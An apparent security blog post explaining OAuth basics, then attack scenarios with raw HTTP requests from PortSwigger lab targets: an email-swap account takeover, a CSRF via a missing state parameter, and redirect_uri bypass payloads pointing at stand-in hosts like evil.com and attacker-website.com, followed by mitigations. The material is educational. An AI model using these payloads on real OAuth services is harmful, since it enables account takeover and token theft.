Oauth A Feature To Vulnerability

  • Home
  • Oauth A Feature To Vulnerability
Oauth A Feature To Vulnerability
Oauth A Feature To Vulnerability
Oauth A Feature To Vulnerability
Oauth A Feature To Vulnerability

Introduction

There have been a huge increase in the number of web services in recent years, and these services must collaborate. You might be asked to store files in your Google Drive by a third-party design software, or to provide your Google contacts by a Content Marketing application. It can be very dangerous to give your Google credentials to third-party apps. Hence A new protocol called OAuth was developed to minimize security vulnerabilities and improve user experience by enabling authorization between different services on behalf of users.

Oauth

In other words, OAuth is an open-standard authorization protocol that allows applications to grant “secure designated access. For example, you can tell Facebook that it’s OK for Spotify to access your profile or post updates to your timeline without having to give Spotify your Facebook password.  

Basics

Before you start learning about Oauth, You need to learn about the basics. It includes following things :

1)Authentication

Authentication is the process of proving your identity to service. This procedure ensures that a person’s identity matches what the person has declared.

Authentication(Oauth Basics) Credits : freepik.com

Hence, when trying to log in to Facebook or Google, we must first enter our email address and password to verify our identity.

The Value of Authentication

If you grew up in a small town, the teller might have recognized you when you walked into the local bank. Using this method, tellers could determine whether the person who was able to deposit and withdraw funds from their account was the right one.

When we log into our online banking website today, there is no teller greeting us by name. We have to use other methods to authenticate ourselves. Authenticating your account establishes your identity and lets the site know that you are the one you claim to be.

It usually takes two steps to establish your identity in order to gain access to a system: first identify yourself (i.e. username, account number, or email address), and then prove that you are who you claim to be.

Authentication techniques

Three types of authentication exist something you know (passwords), something you have (token keys), or something you are (scanned body parts, i.e. fingerprints):

Something You Are 

Generally, this is the strongest and most difficult to replicate—it’s hard to duplicate an iris scan or a fingerprint. Nevertheless, the technology used to deploy this type of authentication is expensive and does not apply easily to all of our access methods. This authentication method is experiencing more adoption (think Face ID in iPhones), but it will be years before it is widely adopted.

Something You Have 

Our general inability to detach ourselves from our mobile phones has led to this becoming increasingly popular. A one-time token key is typically provided by an external source (a key, an email, a text message, or an authentication app). Traditionally, the device used to deliver the token key has been the greatest barrier to a wider deployment, but today, users have always-accessible smart devices, so the something-you-have authentication method is gaining traction.

Something You Know

Our passwords are the most common example of this–no special hardware is required for bio-scans and no additional tools are necessary to provide the secret codes. Hence, It is crucial that you create difficult-to-guess passwords. Generally, your password is the only piece of information that other people don’t know about you and the only way you can protect your information.

2)Authorization

In computing, authorization determines access levels or privileges of users and clients to system resources, such as files, services, computer programs, data, and application features. It is the act of granting or denying access to a resource on a network based on an individual’s identity.

The ownership of a house is a good example. A property owner has full access to a resource, but he or she can grant access to others. In other words, the property owner authorizes someone to access it. With this simple example, we can introduce a few concepts related to authorization.

Authorization Example-Oauth Basics(credits:freekpik.com)

For example, accessing a house is permission since it is an action you can undertake on a resource. Other permissions may include furnishing, cleaning, and repairing the house.

Permissions become privileges (or rights) when they are assigned to someone. So, if you allow your interior decorator to furnish your home, you give them that privilege.

However, the decorator might ask you to furnish your home. Generally, the permission request consists of a scope.

3)Oauth Examples

Example 1

As an example of OAuth, when you visit a website, it will offer you the option to log on using the login information from another website. After clicking on the link to the other website, the other website authenticates you, and the website you were originally connected to logs you in using the second website’s permission.

Example 2

Another common OAuth scenario would be a user sending cloud-stored files to another user via email, when both systems are completely unrelated to one another other than supporting the OAuth framework (e.g., Gmail and OneDrive). The email system could seamlessly authenticate and browse to the protected files without requiring a second login to the file storage system when an end-user attaches files to their email and browses to select the files to attach through OAuth. 

In all cases, the end-user uses more than one service to complete one transaction, and every end-user appreciates not having to log in twice to complete what they consider a single transaction.

4)Entities In Oauth :

In any authorization protocol, there are several entities that come into play including at least the authentication server and the client. In OAuth, there are 4 entities involved:

  • The Resource Owner: The resource owner is the user who authorizes an application to access their account. The application’s access to the user’s account is limited to the “scope” of the authorization granted.
  • The Client: The client is the application that wants to access the user’s account. Before it may do so, it must be authorized by the user, and the API must validate the authorization.
  • The Resource Server: The resource server hosts the protected user accounts and data retrieved by the client.
  • The Authorization Server: The authorization server verifies the user’s identity then issues access tokens to the client.

How Does Oauth Work?

Oauth Flow

1-Client requests authorization from the user to access a private resource stored on a resource server of a web service 

2-The user consents to the authorization request 

To show that the resource owner trusts the client, the client transmits this agreement to the authorization server 

4-The authorization server agrees (or not) to grant access to the requested resource by returning an access token to the resource server that is recognized by that server 

5-In step five, the client uses the access token to request the resource 

6- The resource server returns the protected resource 

Why do Oauth Vulnerabilities Occur?

A weakness of OAuth’s specification is its vagueness and flexibility, which makes it very vulnerable to attacks. For each grant type, most implementations are optional, although some elements are mandatory. There are a lot of security settings that you need to put in place to protect your data. hence, There is a lot of room for bad behaviour. 

OAuth also lacks built-in security features. Security is almost entirely the responsibility of the developers. They must choose the right configuration options and implement additional security measures like robust input validation. 

What Are Some Attack Scenarios Of Oauth Vulnerabilities?

 1)Authentication bypass leading to account takeover

The Idea

The implicit grant type is mainly recommended for single-page applications because it has fewer security risks than sending access tokens via the browser. Due to its relative simplicity, it is also often used in classic client-server web applications.

The OAuth service transmits the access token to the client application via the user’s browser as a URL fragment. The client application then accesses it via JavaScript. When the user closes the page, if the application wants to maintain the session, it must store the current user’s data (normally a user ID and an access token).

This can be solved by having the client application submit this data to the server in a POST request and then assigning the user a session cookie, effectively logging them in.

Attack Scenario

The implicit flow exposes this POST request to attackers via their browsers. Therefore, this behaviour can cause serious vulnerabilities if the client application does not properly verify that the access token matches the other data in the request. In this scenario, By changing the parameters sent to the server, an attacker can impersonate any user.

Normal Oauth Request

POST /authenticate HTTP/1.1
Host: 0a8100d103ca36afc0e8abdd003400ec.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0a8100d103ca36afc0e8abdd003400ec.web-security-academy.net/oauth-callback
Content-Type: application/json
Origin: https://0a8100d103ca36afc0e8abdd003400ec.web-security-academy.net
Content-Length: 103
Connection: close
Cookie: session=nekcdEhhwu4jBKdQpSkFqEW4uUiqH93t
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"email":"wiener@hotdog.com","username":"wiener","token":"XpUEavKvhitBugUDTS6d3QcXV2aziakLokCNoxcPZ2S"}

Manipulated Oauth Request

POST /authenticate HTTP/1.1
Host: 0a8100d103ca36afc0e8abdd003400ec.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0a8100d103ca36afc0e8abdd003400ec.web-security-academy.net/oauth-callback
Content-Type: application/json
Origin: https://0a8100d103ca36afc0e8abdd003400ec.web-security-academy.net
Content-Length: 103
Connection: close
Cookie: session=nekcdEhhwu4jBKdQpSkFqEW4uUiqH93t
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"email":"carlos@carlos-montoya.net","username":"wiener","token":"XpUEavKvhitBugUDTS6d3QcXV2aziakLokCNoxcPZ2S"}

Response

HTTP/1.1 302 Found
Location: /
Set-Cookie: session=SzAlc1RT23H6DsvQqnR4tJFxc6DW0kRO; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 0

Oauth
Account TakeoverOauth Attack Scenario

2)Access Admin Account Through Flawed CSRF

Even though many of the components of the OAuth flows are optional, some are strongly recommended unless there is an important reason not to use them. The state parameter is one such example.

As far as possible, the state parameter should contain an unguessable value, such as the hash of something tied to the user’s session when it initiates the OAuth flow. As a CSRF token, the client application then passes this value back and forth with the OAuth service. An attacker would find it extremely interesting if the authorization request didn’t send a state parameter.

Essentially, it means they can start an OAuth flow themselves before tricking the user’s browser into completing it, similar to a CSRF attack.

Request without State Parameter

GET /auth?client_id=gfek3j8o78dwpl6geoesw&redirect_uri=https://0a5100d30443a375c010f40900df003b.web-security-academy.net/oauth-login&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0aa0004b041ca363c0baf46102240094.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://0a5100d30443a375c010f40900df003b.web-security-academy.net/
Cookie: _session=bm8-B6F2uqrv2lmwciDK6; _session.legacy=bm8-B6F2uqrv2lmwciDK6
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1

Oauth Linking Request

GET /oauth-linking?code=Gtq5F9ZjqTZ0GcbhCDgxSkIGWXt0zE8HbgOI1D7RJvB HTTP/1.1
Host: 0a5100d30443a375c010f40900df003b.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0a5100d30443a375c010f40900df003b.web-security-academy.net/
Connection: close
Cookie: session=gAn8zi55nX5EQMs2LKNRyojKUDYp3Tbw
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1

Oauth
CSRF Attack Scenario (Oauth Attacks)
Oauth
Admin Account Accessed (Oauth Attacks)

3)Open Redirect Attack Through Misconfigured Oauth

When the application redirects the user to redirect_uri due to an error, for example, an incorrect scope value, there can be an open redirect. The attacker can craft the following link:

https://vulnerable-website.com/authorize?response_type=code&client_id=securityboat12347&scope=WRONG_SCOPE&redirect_uri=http://evil.com

When the application processes the request, a victim is redirected to the attacker’s server.

4)Session Poisoning Via Redirect URI

The authorization server may take parameters about the client being authorized from the session if the authorization request (step 3 in the authorization code flow) does not contain any. Such a request might appear as follows :

POST /auth HTTP/1.1
Host: auth-server.com
Content-Type: application/json
Cookie: session_id=Ja2upepCYz5IhSdSIUn1lyi2Ylir3afn

{
    "scope": "read:email",
    "authorize": "Authorize"
}

Now attack scenario can look like this,

  1. The victim visits a specially crafted web page (just as in a typical XSS/CSRF attack scenario).
  2. This page redirects to the OAuth authorization page with a “trusted” client_id.
  3. A hidden cross-domain request is sent to the OAuth authorization page with an “untrusted” client_id, poisoning the session.
  4. Once the victim approves the first page, the updated value will be stored in the session and the victim will be redirected to the “untrusted” client’s redirect_uri.

5)Weak Redirect URI configuration

The redirect_uri is imperative because it is where sensitive data, such as the code, is appended after authorization. By redirecting the redirect_uri to an attacker-controlled server, the attacker can potentially take over a victim’s account.

So, There are different attack scenarios for this,

Path traversal or stealing tokens via a proxy page:

https://auth-server.com/auth?redirect_uri=https://attacker-website.com

Weak Regex:

https://auth-server.com/auth?redirect_url=https://application-website.com.attacker-website.com

Discrepancies between the parsing of the URI by the different components:

https://auth-server.com/auth?redirect_url=https://application-website.com%20%26@foo.attacker-website.com#@bar.attacker-website.com

HTTP parameter pollution:

https://auth-server.com/auth?redirect_uri=https://application-website.com/callback&   redirect_uri=https://attacker-website.com

Accidentally permitted any redirect URI beginning with localhost in a production environment:

https://auth-server.com/auth?redirect_uri=https://localhost.attacker-website.com

To learn more attack scenarios, please visit Portswigger Oauth Labs

How to mitigate Oauth Vulnerabilities?

Oauth
Mitigation of Oauth (Credits:freepik.com)

Use Refresh Tokens 

Cyberspace is safer, thanks to refreshing tokens. If a user is inactive for some time on a website, they can automatically end the session and allow access again without entering credentials (for a defined period). 

By this means, the user would need to log in again but would not have to enter their credentials, thus decreasing the risk of a security breach. 

Short Life Time For Token

The lifetime of access tokens and refresh tokens should be short to ensure they aren’t active for a long time, which may, again, pose a security risk. 

It is best to keep the access token lifetime short and not exceed 60 seconds for critical applications dealing with finances or other crucial consumer data. 

Exact Matching 

Instead of using pattern matching, only allow complete and exact matches. This way, attackers cannot access other pages on the whitelisted domains. 

Verify that the access token was issued to the same client_id requesting the resource server. Additionally, you should verify that the scope being requested matches the scope for which the token was originally granted.

Use State Parameter

Make sure the state parameter is used. By including some unguessable, session-specific data, such as a hash containing the cookie, its value should also be bound to the user’s session. In this way, CSRF-like attacks can be prevented. Furthermore, it makes it much more difficult for an attacker to use stolen authorization codes. 

Conclusion

Oauth is such a great feature to reduce account breaches of independent users with great ease of use. But lack of implementation of its security features may cause big organizational loss. So to improve web application and android security, Avoiding implementation mistakes and implementing combinational configurations in the web application and android application is the only way to ensure maximum safety for consumers and employees of an organization. 

References :

1)Oauth 2.0 by Portswigger

2)What is Oauth by Miniorange

3)What the heck is Oauth by Okta

4)What is Oauth and how it works by Varonis

5)Understand basics of Oauth by Simon Saliba

Leave a Reply

Your email address will not be published. Required fields are marked *

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.